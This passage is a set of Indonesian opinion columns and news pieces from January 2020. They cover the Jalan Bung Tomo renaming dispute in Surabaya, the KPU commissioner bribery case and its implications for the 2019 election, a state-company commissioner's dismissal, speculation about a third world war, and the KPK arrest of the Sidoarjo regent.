sebelumnya menerima Komunitas Pecinta Sejarah dan Perkembangan Kota (KPSPK) yang dipimpin Kuncarsono Prasetyo. Selain itu, hadir pula kerabat Bung Tomo di Surabaya, Dedi Endarto. Mereka berdiskusi di kantor DPRD Surabaya, kemudian dilanjutkan meninjau Jalan Bung Tomo. Rencana pengalihan nama Jalan Bung Tomo itu sangat mengejutkan masyarakat. Apalagi keberadaan Jalan Bung Tomo yang di Ngagel itu akan dipindah ke Benowo. Jelas, dari sisi penghargaan terhadap nama besar Bung Tomo juga perlu menjadi perhatian. Di mana-mana, daerah memberi penghargaan kepada nama pahlawan besar untuk nama jalan di tengah kota. “Bukan di tambak-tambak dan tidak jauh dari tempat pembuangan akhir (TPA) sampah (di dekat TPA Benowo). Kami tegas menolak rencana yang sembrono ini. Tidak dengan kajian dan mengejutkan,” tegas Cak Ji. Setelah berdiskusi, Cak Ji mengajak KPSPK ke lokasi Jalan Bung Tomo. Mereka lebih dulu ‘sowan’ ke makam Bung Tomo di Jalan Bung Tomo, Ngagel, sebelum meninjau Jalan Bung Tomo yang berjarak sekitar 50 meter dari lokasi makam Bung Tomo. Cak Ji beserta jajaran DPRD Kota Surabaya pun menolak pemindahan nama jalan tersebut. Bukan tanpa alasan. Menurutnya, nama pahlawan harus ditempatkan di jalan-jalan protokol. Hal itu untuk menghormati jasa pahlawan di masa lalu. Cak Ji juga bercerita tentang betapa panjang proses yang harus dilewati masyarakat Surabaya agar Bung Tomo bisa ditetapkan menjadi pahlawan nasional. Perwakilan KPSPK Kuncarsono Prasetya mengungkapka, awal 2000, masyarakat Surabaya melakukan gerakan agar nama Bung Tomo tercatat sebagai Pahlawan Nasional. Upaya itu baru membuahkan hasil pada 2008. Kemudian melanjutkan dengan memperjuangkan menjadikan nama jalan itu di depan makam Bung Tomo di Ngagel. Semula, memang nama jalan itu adalah Jalan Kencana. Pada 2002, setelah diusahakan oleh berbagai komunitas dan masyarakat, jalan itu berubah jadi Jalan Bung Tomo. Kemudian diikuti banyak daerah menggunakan nama Bung Tomo menjadi nama jalan protokol. “Ada nilai penghargaan untuk menggunakan nama Jalan Bung Tomo. Malah sekarang ada rencana melukir nama jalan itu ke daerah pinggiran. Kami akan berjuang mempertahankan,” kata Kuncarsono. Menurut Kuncarsono, rencana Pemkot itu telah mengusik warga Surabaya. Akan ada polemik atas pemindahan nama Jalan Bung Tomo itu. Jelas ini juga akan mengusik keluarganya Bung Tomo, seperti Mas Bambang yang selama ini dikenal dekat dengan rakyat. Sebelum ini, mereka juga pernah dikejutkan dengan peristiwa runtuhnya rumah bersejarah yang sempat menjadi tempat siaran Bung Tomo pada era revolusi kemerdekaan. Di situ juga tempat radio di zaman kemerdekaan. “Pemkot menjanjikan akan mengakuisisi dan membangun kembali gedung tersebut yang ada di Jalan Mawar. Namun, hingga kini belum ada kelanjutannya,” ungkap Dedi, kerabat Bung Tomo. Cak Ji juga menyayangkan langkah Pemkot tersebut. Pasalnya, pahlawan itu harus diberi penghargaan setinggi-tingginya. Salah satunya dengan menjadikan namanya sebagai nama jalan protokol. ”Agar sisi historisnya tidak hilang. Solusinya, jalan yang ada di Gelora Bung Tomo diberikan nama lain. Biarlah Bung Tomo tetap menjadi nama jalan yang ada di depan Taman Makam Pahlawan ini,” ujarnya. Yang jelas, jangan sampai kemudian ada tudingan, Pemkot Surabaya berupanya menghapus jejak sejarah perjuangan Arek-arek Suroboyo! “Tampaknya ini dilakukan secara sistemik terstruktur untuk menghilangkan kebanggaan Kota Pahlawan Surabaya,” tegas Mas Bambang. Penulis adalah wartawan senior

Kasus Sogok Wahyu Setiawan Menghantui Hasil Pilpres 2019

By Asyari Usman Jakarta, FNN - Setelah Wahyu Setiawan terkena OTT, kini muncul pertanyaan: kira-kira ada atau tidak sogok-menyogok dalam penetapan hasil Pilpres 2019? Bisakah diyakini para komisioner KPU bersih dari sogok-menyogok? Selama ini, masih belum ada bukti legalitas tentang orang-orang Komisi Pemilihan Umum (KPU) yang diperkirakan rawan sogokan. Sekarang, terbukti sudah. Para komisioner KPU pusat rawan terhadap sogokan. Ini yang diperlihatkan oleh Wahyu Setiawan (WS). Wahyu tertangkap basah dalam operasi OTT KPK pada 8 Januari 2019. KPK mengatakan, Wahyu menerima uang sogok 850 juta. Ada pula yang memberitakan 900 juta yang dimintanya dari Harun Masiku (HM). Harun sedang mengusahakan agar dia yang duduk sebagai anggota DPR RI pengganti antar waktu (PAW) untuk Nazaruddin Kiemas yang meninggal dunia. Nazaruddin terpilih dari Dapil 1 Sumatera Selatan di pileg 2019. Pada 31 Agustus 2019, KPU menetapkan Riezky Aprilia yang berhak menjadi anggota PAW. Sesuai dengan perolehan suara. Harun mencoba hendak menggeser Riezky. Inilah yang menjadi pintu korupsi WS. Apa yang bisa dipelajari dari kasus WS? Ada satu hal yang afirmatif. Dan konfirmatif. Bahwa orang-orang KPU pusat semuanya rentan terhadap sogokan. WS adalah salah seorang komisioner yang sangat dihormati karena selalu profesional. Dia menyatakan dirinya antikorupsi. Baik. Kalau semua komisioner KPU pusat dikatakan rentan sogokan, apakah integritas mereka selama ini patut dipertanyakan? Sangat pantas! Pantas ditelusuri. Dan sangat wajar dibicarakan. Apakah itu termasuk juga integritas KPU terkait hasil Pilpres 2019? Tentu saja kasus sogok Wahyu Setiawan memunculkan keraguan yang valid mengenai integritas semua komisioner KPU dalam menangani seluruh proses Pilpres 2019. Termasuk penetapan pemenangnya. Artinya, kasus sogok WS menghantui hasil Pilpres 2019. Dan, hantunya bukan hantu biasa. Hantu besar. Induk dari segala hantu kecurigaan. Apakah itu berarti hasil Pilpres 2019 harus dipersoalkan lagi? Tentu saja tidak perlu dipersoalkan lagi. Hanya saja, dari kasus WS itu publik semakin yakin bahwa kecurangan TSM itu memang terjadi. Sangat layak mencurigai adanya permainan tingkat tinggi dalam proses akhir Pilpres. Apakah mungkin ada yang memberi sogok dan menerima sogok? Dan apakah uang sogoknya puluhan miliar atau ratusan miliar? Hanya Allah SWT dan para pelakunya yang tahu. Tapi, masyarakat wajar dan berhak curiga. Bayang-bayang kasus sogok WS kini masuk ke ruang kerja semua komisioner KPU. Bayang-bayang itu membawa arsip hasil Pilpres 2019. Bayang-bayang memang tidak berfisik, tetapi ada bentuknya. Inilah yang bisa membuat para komisioner gelisah. Akan sering mengigaukan teriakan “Saya tak ikut, saya bersih!” dalam tidur mereka. Igauan yang tak ‘credible’. Penulis adalah Wartawan Senior.

Bersih-bersih di PT Pupuk Indonesia, Like and Dislike?

Oleh Mochamad Toha Jakarta, FNN - Menteri BUMN Erick Thohir mencopot Komisaris Independen PT Pupuk Indonesia (Persero) Yanuar Rizky. Yanuar resmi dicopot mulai Kamis (9/1/2020). Perihal alasan pencopotannya, ia tak menerangkan secara rinci. Yanuar hanya mengatakan normatif 'pergantian pemain'. Yanuar resmi dicopot mulai Kamis (9/1/2020). Perihal alasan pencopotannya, ia tak menerangkan secara rinci. “Normatif saja karena ganti pemain,” katanya, mengutip Detik.com, Kamis (9/1/2020). Meski begitu, ia menuturkan ada sejumlah hal yang perlu disikapinya. Namun, ia tak menerangkan secara rinci. “Saya menentukan sikap karena ada serentetan peristiwa yang perlu saya sikapi,” tegas Yanuar. “Saya tak bisa kemukakan secara detil ke publik, tapi like and dislike terkait dengan cara mengelola korporasi,” ungkapnya. Yanuar Rizky bercerita mengenai pencopotannya sebagai Komisaris Independen PT Pupuk Indonesia lewat akun Facebook pribadinya. Yanuar resmi dicopot dari jabatannya hari ini. Dia memberikan tanggapan berupa enam poin dan sebuah penjelasan panjang. Dari enam poin, setidaknya ada dua poin yang menyita perhatian. Dua poin itu yakni terkait masa jabatan dan mengenai akhlak yang sering digaungkan Menteri BUMN Erick Thohir. Yanuar mengatakan, pergantian dan pemberhentian merupakan hal yang lumrah. Lantaran, itu merupakan perusahaan negara bukan perusahaan keluarga. “Namun menjadi tidak lumrah, jika diberhentikan sebelum waktunya. Hanya saya sendiri yang kena pergantian,” tulisnya. Ia melanjutkan, pergantian ini tak ada kaitannya dengan masalah akhlak. “Framing etika dan moral dengan kemasan bersih-bersih BUMN, ingin saya tegaskan, saya tidak terkait akhlak dan etika," tambahnya. Di bagian penjelasan, Yanuar kembali menyinggung soal akhlak. Melansir Detik.com, Kamis (9/1/2020), ia menunjukkan akhlaknya melalui parameter kerja dan tidak korupsi. “Kalau Erick Tohir selaku Menteri BUMN di mana-mana ceramah soal akhlak, saya (ingin) menunjukkan akhlak saya dengan parameter kerja dan juga tak sepeser pun saya ingkar dan korupsi,” lanjutnya. Ia tak membawa kawan atau pasukan untuk masuk ke Pupuk Indonesia. Bahkan, ia menolak kawan yang ingin dikenalkan direksi terkait proyek. “Silakan tanya sobat-sobat saya soal ini saya selalu bilang 'Ini perusahaan negara, janji gw (saya) sama anak dan istri, kehormatan tidak dekat-dekat korupsi, kolusi, nepotisme,” tegas Yanuar. “Kinerja dan kerja saya menunjukkan, berbekal kompetensi, integritas dan kepemimpinan yang tanpa catatan negatif,” ungkapnya. Maka itu, Yanuar merasa bangga. Ia bisa pulang tersenyum ketika diberhentikan dari Pupuk Indonesia. “Sehingga, ketika saya diberhentikan dari Pupuk, saya bisa pulang dengan senyum, menyapa anak, istri dan Ibu saya (orang yang selalu mendoakan saya selamat dunia akhirat) dengan bangga, saya pulang tanpa cela,” kata Yanuar. Tanggapan datang dari Staf Khusus Menteri BUMN Arya Sinulingga. Menurutnya, Yanuar akan ditempatkan sebagai komisaris di perusahaan lain.“Ini kan Pak Yanuar juga akan habis masa tugasnya di Pupuk, tapi kita percayakan di tempat lain, komisaris di tempat lain, refreshing aja,” katanya di Kementerian BUMN, Jakarta Pusat, Kamis (9/1/2020). Tak secara rinci, ia hanya menyebut Yanuar ditempatkan sebagai komisaris di anak usaha BUMN bidang energi. “Di energi ya, anak perusahaan BUMN energi,” imbuhnya. Arya kembali mengatakan alasan pencopotan ini sebagai bentuk penyegaran. Arya mengatakan, hal tersebut sesuatu yang normal. “Refreshing aja kan mau habis 5 tahun, dia tempat lain kita butuhkan, dikasih jabatan komisaris tempat lain. Bukan sesuatu, normal aja,” ujarnya. Klarifikasi Yanuar Berikut kutipannya penjelasan Yanuar. Ya, saya akan selesai 5 juni 2020. Tapi, tidak hanya saya, kami paket Dekom akan selesai di Juni. Tapi, kenapa saya digeser lebih cepat? Kami di Komisaris, bahkan sebelum ini membahas organ dekom juga diganti oleh pemegang saham. Saya menyatakan untuk menunda permintaan pergantian tim inti karena sedang proses Audit oleh Akuntan Publik terkait Laporan Keuangan. Dimana, saya sebagai Komisaris Independen sekaligus Ketua Komite Audit bertanggung-jawab dalam proses Laporan Keuangan Auditan. Lalu, bukan hanya organ yang ditarik? Saya pun diberhentikan. Apa yang bisa dibaca? Tampaknya ada kepentingan mendesak, bahwa Finalisasi Laporan Keuangan Auditan berada di “pemain pengganti”. Itu perlu saya kemukakan, agar masalah ini jadi jelas. Bahwa saya bukan anak kecil yang merengek kehilangan mainan. Saya mempunyai tanggungjawab moral kepada publik, karena saya warga negara yang mendapat mandat dari negara di perusahaan negara. Saya kembalikan kepada publik, bahwa ini semua terkait dengan grasak-grusuk yang ada tujuannya. Apa tujuannya? Saya tak akan kemukakan apa yang terjadi secara detil. Tapi, itu yang saya rasakan dan kembalikan kepada publik menilai. Pemain pengganti saya adalah birokrat, Deputi di BKPM. Saya harap ini bisa dijelaskan kepada publik, katena posisi saya insdependen bukan birokrat, kenapa unsur profesional dikurangi? Kemudian Independen juga diserahkan ke staf khusus menteri. Saya sedikit bertanya (sebagai warga negara) arah debirokratisasi dari Menteri BUMN dalam setiap ceramahnya, kok malah makin birokrat di pupuk? Semangat saya sama dengan Menteri. Ini uang rakyat, etikanya mana? Maka, saya rasa rakyat harus tahu realisasi kata dan perbuatan. Itu saja. Semua ini saya kemukakan karena ini perusahaan negara bukan perusahaan keluarga. Ada drama, dan ini terkait periode finalisasi Laporan Keuangan Auditan. #enjoyAja. *

Siapa Yang Paling Takut Perang Dunia Ketiga?

By Asyari Usman Jakarta, FNN - Bekalangan ini, banyak orang yang mulai menyebut-nyebut Perdang Dunia Ketiga (PD3). Kata mereka, gelagatnya sudah ada di mana-mana. Dan sudah hadir sejak belasan tahun ini. Bagus juga kalau kita mulai membahasnya dari berbagai aspek. Sebagai permulaan, coba kita tengok siapa yang berani dan siapa yang paling takut terhadap PD3. Sebenarnya simulasi PD3 sudah sering berlangsung. Setidaknya, ada 10 peperangan di masa lalu yang bisa memicu ke PD3. Ke-10 peperangan itu adalah: 1)Perang Suriah 2012 sampai sekarang; 2)Perang Irak 2003-2011; 3)Perang Afghanistan 2001-2014; 4)Perang Kosovo 1998-1999; 5)Perang Bosnia 1992-1995; 6)Perang Teluk 1990-91; 7)Perang Irak-Iran 1980-1988; 8)Perang Afghanistan (lawan Uni Soviet) 1978-1992; 9)Yom Kippur 1973; 10)Perang Enam Hari (Arab-Israel) 1967. Sepuluh perang ini berpotensi menjadi PD3. Setidak-tidaknya ada 3 perang dari 10 perang ini yang sangat tinggi kadar PD3-nya. Ketiganya adalah: Perang Arab-Israel 1967 (Six Day War), Perang Bosnia 1992, dan Perang Suriah 2012. Tapi, PD3 tak kunjung terjadi. Mengapa? Karena para calon pelakunya terlalu banyak perhitungan. Ada yang disebabkan ‘cinta dunia’. Ada yang takut karena tak sampai hati melihat jutaan korban nyawa. Dan ada yang takut karena biaya perang itu sangat mahal. Dalam Perang Arab-Israel (yang dijuluki juga Six Day War atau Perang Enam Hari), mungkin saja pihak Arab tidak begitu bersemangat melanjutkan perang ke hari ketujuh, kedelapan, dst. Lelah dan berat. Perangnya di gurun pula. Ini yang menyebabkan perang tidak meluas. Tidak mendunia. Dalam Perang Bosnia 1992, Slobodan Milosevic (presiden Serbia) dan Ratko Mladic (panglima militer) tidak didukung Rusia. Milosevic dan Mladic melakukan ‘ethnic cleansing’ (pembersihan etnis) terhadap warga Muslim Bosnia. Rusia tidak mau membela Milosevic karena khawatir dimusuhi dunia Islam. Seandainya, Rusia turun tangan, bisa saja PD3 terjadi. Kemudian dalam Perang Suriah 2012, giliran Amerika Serikat (AS) yang tidak mau berhadapan langsung dengan Rusia. Di sini, Rusia adalah pihak yang paling aktif membantu Bashar Assad (presiden Suriah). Jelas sekali AS yang menghindari PD3. Karena tak cukup kuat untuk berperang dalam waktu lama. Secara psikologi, Rusia siap menghadapi AS head-to-head. Tapi, Presiden Obama waktu itu punya kalkulasi panjang. Dan kebetulan, Obama ingin dilihat sebagai “peace loving president” (presiden cinta damai). Nah, hari ini siapakah yang paling takut PD3? Dan siapa pula yang paling berani dan paling ingin? Yang paling berani adalah Donald Trump. Dibuktikannya dengan mengeluarkan perintah untuk membunuh pimpinan militer Iran, Jenderal Qassem Soleimani. Trump tentunya sudah menduga reaksi keras Iran. Dia juga sudah memperhitungkan dukungan penuh rakyat Iran kepada pemerintah mereka agar membalas kematian Soleimani. Sebelum Iran membalas, Trump lebih dulu mengancam. Dia akan menghancurkan 52 tempat bersejarah di Iran jika Iran menyerang AS. Iran tak perduli. Mereka menembakkan sembilan rudal ke markas tentara AS di Baghdad. Tidak ada korban jiwa. Menurut standar keangkuhan AS, mereka seharusnya membalas 9 rudal ini. Sejauh ini Trump diam saja. Trump mengerti Iran akan melawan. Dan Trump juga tahu bahwa Iran punya sekutu superpower. Kalau AS jadi menyerang 52 situs bersejarah yang dibangga Iran, itulah awal PD3. Hampir pasti! Yang menjadi pertanyaan, apakah Rusia mau turun langsung ke medan perang? Kemungkinan tidak. Rusia hanya akan memberikan dukungan senjata dan semangat. Ini saja pun sudah lebih dari memadai bagi Iran. Mengapa Trump begitu berani menyulut PD3? Antara lain karena dia tidak begitu sering menggunakan akal sehat. Bisa jadi dia tak punya. Mungkin juga karena dia sangat tidak populer lagi di Amerika. Sekarang, siapa yang paling takut PD3? Mungkin Anda heran kalau jawabannya: China. Tapi, memang China yang paling takut. Ada beberapa sebab. Pertama, karena China melihat dirinya berpotensi menjadi negara superpower terkuat di dunia. Bukan lagi AS. Ini mungkin terwujud dalam 20-25 tahun mendatang. China punya sumberdaya besar untuk mencapai posisi ini. CAD (cadangan devisa asing) Beijing lebih dari USD3 triliun. Sementara AS malah banyak utang. Negara superpower adalah negara yang memiliki keunggulan militer. Salah satu pertanda keunggulan militer adalah jumlah kapal induk (KI) atau aircraft carrier. Saat ini China punya dua KI. Ada yang mengatakan 4 KI. Tetapi, diperkirakan China bermbisi memiliki 10 KI dalam 15 tahun. Sama dengan jumlah KI yang dimiliki angkatan laut AS saat ini. China mampu dari segi biaya dan teknologi militer. Kedua, China tak berani memulai PD3 karena mereka akan mengalami kerugian yang sia-sia. RRC yakin bisa menguasai dunia melalui kekuatan Ekuin (ekonomi, keuangan, industri). Tidak perlu berperang. Tetapi, mereka akan tetap membangun kekuatan militer untuk membendung AS. Agar AS tidak seenaknya bertindak. China lebih senang melakukan hegemoni ekonomi melalui skema utang dan investasi. OBOR (belakagan disebut Belt and Road Initiative, BRI) adalah strategi utama China untuk menguasai perekonomian dunia. Indonesia sudah masuk ke dalam jebakan skema ini. Ketiga, China takut PD3 karena sudah sangat banyak meminjamkan uang ke mana-mana. Termasuk ke Indonesia. Kalau PD3 terjadi, bakal hanguslah uang ribuan miliar dollar yang dipinjamkan itu. Ini terasa bercanda. Tapi, sebetulnya serius. Keempat, RRC akan berusaha mencegah PD3 karena populasi diasfora mereka cukup besar jumlahnya di mancanegara. Diasfora itu sangat kuat pula dari segi penguasaan ekonomi dan bisnis di negara perantauan. Hampir pasti China merasa orang Tionghoa di perantauan punya ikatan emosional yang kuat dengan RRC. Selain itu, China akan selalu mencegah PD3 karena populasi diasforanya di banyak negara rentan menjadi sasaran jika Beijing berperang dengan negara-negara itu. Jadi, sekali lagi, yang paling berani PD3 adalah Donald Trump. Yang paling takut adalah China.[] 10 Januari 2020 Penulis wartawan senior.

Selain Bupati Saiful Ilah, Ada Raja Koruptor yang Sedang Diburu KPK!

Polemik yang membuat Saiful Ilah mulai oleh diawasi KPK, terjadi saat ia mengondisikan Pemkab Sidoarjo untuk membeli Kesebelasan Gelora Dewata milik H. Mislan pada 2001. Kesebelasan yang juga dibidani oleh pengusaha ekspedisi, almarhum Ali Mahakam, dan penyiar legendaris alamarhum Soepangat. Oleh Mochamad Toha Jakarta, FNN - Bupati Sidoarjo Saiful Ilah akhirnya tertangkap KPK dalam Operasi Tangkap Tangan (OTT) di Rumah Dinas sekaligus Pendopo Delta Wibawa Kabupaten Sidoarjo, Selasa (7/1/2020). Bisa jadi, ini jawaban bagi yang meragukan Ketua KPK Firly Bahuri. Penangkapan ini sesungguhnya sudah diyakini para aktivis anti-suap sejak lama. Yakni, sejak Ketua DPW PKB Sidoarjo itu menjabat Wakil Bupati Sidoarjo mendampingi Win Hendarso pada periode 2000-2005 dan 2005-2010. Tapi, realisasi potensi terjeratnya pria yang karib disebut Abah Saiful itu terjadi pada Selasa (7/1/2019) malam. Seperti dirilis Antara, dalam OTT dengan barang bukti suap sebesar Rp 350 juta pecahan Rp100 ribu yang dibawa Novianto, ajudan bupati itu. Malam itu, KPK menangkap 11 orang. Yakni Bupati Sidoarjo Saiful Ilah; Kadis Pekerjaan Umum, Bina Marga, dan Sumber Daya Air Kabupaten Sidoarjo Sunarti Setyaningsih (SST); Pejabat Pembuat Komitmen (PPK) Dinas Pekerjaan Umum, Bina Marga, dan Sumber Daya Air Kabupaten Sidoarjo Judi Tetrahastoto (JTE); Kepala Bagian Unit Layanan Pengadaan Sanadjihitu Sangadji (SSA), dua ajudan bupati yang terdiri Kepala Sub Bagian Protokol Novianto (N), dan staf protokol Budiman (B). Sementara dari unsur swasta adalah kontraktor Ibnu Ghofur (IGR) dan Totok Sumedi (TSM). Demikian pula staf Ibnu Ghofur yang terdiri dari Iwan (IWN), Siti Nur Findiyah (SNF), dan Suparni (SUP). Keyakinan para aktivis anti-suap akan potensi Saiful Ilah dilibas KPK, karena sepak terjang pengusaha tambak udang itu sejak digandeng Win Hendarso memimpin Kabupaten Sidoarjo selama dua periode (2000-2005 dan 2006-2010). Kebijakan yang dilakukan seringkali berlawanan dengan Bupati Win. Banyak sekali Bupati Win membatalkan kebijakan “koboi” Saiful Ilah. Ironisnya Abah Saiful tak pernah mendapat teguran admistratif yang berbuntut penon-aktifan. Hal itu terjadi karena pada saat itu, belum ada payung hukum pemberian sanksi admistratif sampai penonaktifan wabup oleh bupati. Tak pelak lagi, hubungan antara Bupati Win dan Wakil Bupati Saiful Ilah berlangsung “benci tapi rindu”. Perseteruan diantara mereka terbaca secara jelas saat dua tahun periode kedua. Kondisi itu tak bisa disembunyikan dari para wartawan, yang ketika itu bertugas di lingkungan Kabupaten Sidoarjo. Bagaimana tidak, keduanya seringkali tidak dapat ditemukan di ruang kerjanya masing-masing pada hari yang sama. Saat Bupati Win ada di ruang kantornya, maka Wabup Saiful Ilah hari itu tidak ada di ruang kerjanya. Sebaliknya saat Wabup ada di ruang dinasnya, maka Bupati Win akan berdinas di rumah dinas dan menerima tamu di Pendopo Delta Wibawa. Dari perseteruan pejabat bupati dan wabup itu, secara birokrasi melahirkan tiga kubu kepala dinas, camat, lurah, hingga ASN kelas wader. Sekelompok dengan tegas pro Bupati Win, kelompok kedua pro Wabup Saiful Ilah, dan kelompok ketiga bermain dua kaki. Kelompok yang pro Bupati Win, mayoritas sudah mendekati usia pensiun dan punya prinsip. Sebaliknya yang pro Wabup Saiful Ilah dan bermain dua kaki, dilakukan mereka yang masih berusia produktif dengan usia pensiun melewati tahun 2017. Sikap demikian, untuk menyelamatkan karier dan jabatannya. Mereka yakin Saiful Ilah akan terpilih menjadi Bupati Sidoarjo periode 2011-2015. Polemik yang membuat Saiful Ilah mulai oleh diawasi KPK, terjadi saat ia mengondisikan Pemkab Sidoarjo untuk membeli Kesebelasan Gelora Dewata milik H. Mislan pada 2001. Kesebelasan yang juga dibidani oleh pengusaha ekspedisi, almarhum Ali Mahakam, dan penyiar legendaris alamarhum Soepangat. Obsesi Saiful Ilah itu agar Pemkab Sidoarjo bisa memiliki Gelora Dewata itu, untuk meniru kepemilikan Persebaya oleh Pemkot Surabaya. Kabupaten Sidoarjo bisa dikenal di Indonesia lewat Gelora Dewata, seperti citra Kota Surabaya dikilapkan Persebaya. Saat dimiliki Pemkab Sidoarjo, nama Gelora Dewata berganti menjadi Gelora Putra Sidoarjo (GPD). Tak lama kemudian namanya berganti menjadi Delta Putra Sidoarjo atau disingkat Deltras. Namun, ide tersebut sebenarnya ditolak Bupati Win. Mantan pejabat Pemprov tersebut tahu kepemilikan kesebelasan oleh pemda, sesungguhnya merupakan kebijakan melanggar hukum. Ini karena pemda harus mengucurkan dana hibah olahraga, tidak sesuai dengan prosedur sistem pembinaan olahraga daerah. Dengan memiliki kesebelasan GPD, menurut Bupati Win saat itu, Pemkab Sidoarjo telah melakukan pelanggaran hukum atas prosedur pengucuran dana hibah olahraga, seperti yang dilakukan Pemkot Surabaya. Ini karena UU terkait pengucuran dana hibah sudah menetapkan dana hibah olahraga dari APBD, hanya diperuntukan untuk kegiatan olahraga bersifat pembinaan. Artinya kegiatan pembinaan olahraga yang ditangani KONI Kabupaten/Kota dan Provinsi, yang dilaksanakan oleh Pengurus Daerah (Pengda) cabang olahraga (cabor) di Kabupaten/Kota dan Provinsi. Puncak sistem pembinaan olahraga daerah itu di Porseni, Porda, dan PON. Sementara sistem pembinaan atas kesebelasan sepakbola yang tampil dalam Liga Indonesia, setelah penggabungan kompetisi amatir (perserikatan) dan profesional (galatama) oleh PSSI pada 1994 menempatkan semua kesebelasan yang tampil merupakan kesebelasan profesional. Artinya, status kesebelasan tersebut secara hukum tak berhak menerima kucuran dana hibah olahraga APBD, yang berasal dari uang rakyat dan harus dikembalikan pada rakyat. Bukan diberikan pada para pemain sepakbola profesional, yang secara hukum harus dibiayai oleh swasta seperti kepemilikan tim-tim Galatama. Dalam memutuskan kebijakan pemilikan GPD oleh Pemkab Sidoarjo sebagaimana dimuat harian sore Surabaya Post, ternyata Bupati Win akhirnya mengalah. Menyetujui kepemilikan GPD oleh Pemkab Sidoarjo. Kebijakan itu terjadi, setelah pertemuan empat mata antara Wabup Saiful Ilah dan Bupati Win di rumah dinas bupati. Keputusan itu merangsang KPK periode pertama yang dipimpin Taufiqurahman Ruki tertarik mempelajari prosedur dana hibah olahraga dari APBD. Mempelajari semua UU dan semua peraturan terkait dana hibah olahraga dari APBD. Tapi, sampai akhir pengabdian Ruki, KPK belum sempurna mendalami pelanggaran dana hibah olahraga daerah, yang diselewengkan untuk membiayai kesebelasan sepakbola milik pemda di seluruh Indonesia. Laporan LSM Sementara nama Saiful Ilah mulai dibidik KPK, menurut salah satu komisioner KPK era kepemimpinan Antasari Azhar di Jakarta, Rabu (8/1/2020) pagi, terjadi sekitar 2007. Ini bermula dari masuknya beberapa laporan dari LSM dan warga Sidoarjo. Laporan itu terkait pelanggaran hukum kebijakan Wabup Saiful Ilah. Sejak saat itu alumnus Fakultas Hukum Universitas Merdeka, Surabaya, itu masuk dalam radar bidikan. Ironisnya semua bukti laporan itu bersifat tak langsung. Sehingga lembaga anti-rasuah itu harus melakukan pendalaman. Sehingga, mendapatkan bukti langsung yang melahirkan kesempatan melakukan OTT. Perburuan terhadap Saiful Ilah dilanjutkan KPK saat dipimpin Abraham Samad. Bahkan statement Samad dalam seminar politik kebangsaan di kantor International Conference of Islamic Scholars (ICIS), di Jakarta, Kamis (12/12/2013) siang. Menurut Samad, masih banyak koruptor paus dan raja koruptor di Jatim secara tersirat adalah lampu kuning terhadap para koruptor di Jatim, yang salah satunya Saiful Ilah. Demikian pula terhadap Raja Koruptor yang pernah memimpin Jatim, yang dikelilingi oleh koruptor kelas menengah dan bawah dari kalangan swasta. Sedangkan dari hasil OTT di Pendopo Delta Wibawa, Kabupaten Sidoarjo, KPK yang dipimpin Irjen Polisi Firly Bahuri telah menetapkan enam orang sebagai tersangka, terkait kasus dugaan suap pengadaan proyek infrastruktur di Dinas PUPR Kabupaten Sidoarjo. Dari kronologi OTT, Wakil Ketua KPK Alexander Marwata mengatakan, pihaknya menyita uang senilai Rp1.813.300.000 dari sejumlah pihak. Alex mengatakan, suap itu bermula dari pembangunan proyek infrastrukur di Sidoarjo. Pada 2019 Dinas PU dan Bina Marga, Sumber Daya Air (BMSDA) Kabupaten Sidoarjo melakukan pengadaan beberapa proyek. Ibnu Ghofur (swasta) merupakan salah satu kontraktor yang mengikuti pengadaan proyek-proyek tersebut. Sekitar Juli 2019, Ibnu melapor ke Bupati Saiful Ilah. Pada proyek jalan Candi-Prasung senilai Rp 21,5 miliar yang ia inginkan, terjadi proses sanggahan dalam pengadaannya. Sanggahan tersebut berpeluang membuat Ibnu tidak mendapatkan proyek tersebut. Kekhawatiran itu membuat Ibnu meminta Saiful, untuk tidak menanggapi sanggahan dan memenangkan pihaknya dalam proyek jalan Candi-Prasung. Sebagai informasi, periode Agustus – September 2019, Ibnu melalui beberapa perusahaan memenangkan empat proyek, yakni proyek pembangunan wisma atlet senilai Rp13,4 miliar; proyek pembangunan pasar porong Rp17,5 miliar; proyek jalan Candi-Prasung senilai Rp 21,5 miliar; dan proyek peningkatan Afv. Karag Pucang Desa Pagerwojo Kecamatan Buduran senilai Rp 5,5 miliar. Setelah menerima termin pembayaran proyek, Ibnu bersama Totok Sumedi (swasta) diduga memberikan sejumlah fee kepada beberapa pihak di Pemkab Sidoarjo. Alex menjelaskan pemberian fee tersebut merupakan penerimaan yang sudah terjadi sebelum OTT dilakukan pada 7 Januari 2020. Ia merinci sejumlah pihak yang mendapatkan uang. Pertama, Sanadjihitu Sangadji (SSA) yang diduga menerima suap Rp 300 juta pada akhir September. Uang suap sebanyak Rp 200 juta di antaranya, ujar Alex, diberikan kepada Bupati Saiful pada Oktober 2019. Kedua, Judi Tetrahastoto (JTE) diduga menerima Rp 240 juta. Ketiga, Sunarti Setyaningsih (SST) yang diduga menerima Rp 200 juta pada 3 Januari 2020. “Pada tanggal 7 Januari 2020, IGR [Ibnu Ghofur] diduga menyerahkan fee proyek kepada SFI [Saiful Ilah] Bupati Sidoarjo. Nilainya sebesar Rp 350 juta dalam tas ransel melalui N [Novianto], ajudan bupati di rumah dinas Bupati,” kata Alex dalam gelar perkara di Gedung Merah Putih, Kuningan-Jakarta, Rabu (8/1/2020) malam. Sebagaimana dikutip CNNIndonesia.com, KPK menetapkan Saifulah Ilah sebagai tersangka lantaran diduga menerima suap dalam kasus pengadaan barang dan jasa di proyek Pemkab Sidoarjo. Selain itu, tiga orang lain diduga menerima suap terkait proyek tersebut, adalah Sunarti Setyaningsih (SST), Judi Tetrahastoto (JTE), dan Sanadjihitu Sangadji (SSA). Ketiganya merupakan pejabat dalam lingkungan Dinas Pekerjaan Umum di Kabupaten Sidoarjo. Dua orang tersangka lain yang ditetapkan KPK diduga sebagai pemberi suap, yakni Ibnu Ghofur (IGR) dan juga Totok Sumedi (TSM). Mereka berasal dari pihak swasta. Dalam perkara ini, tersangka yang menerima suap akan dijerat Pasal 12 ayat (1) huruf a atau b atau Pasal 11 UU Nomor 31 Tahun 1999 sebagaimana telah diubah dengan UU Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi juncto Pasal 55 ayat (1) ke-1 KUHP. Sementara, pemberi suap disangkakan melanggar pasal 5 ayat 1 huruf a atau b atau Pasal 13 UU Nomor 31 Tahun 1999 sebagaimana telah diubah dengan UU Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi juncto Pasal 55 ayat (1) ke-1KUHP. Tampaknya KPK tidak berhenti sampai di Saiful Ilah saja. Masih ada Raja Koruptor di Jatim yang kini sedang diburunya. Siapakah dia? Penulis adalah wartawan senior

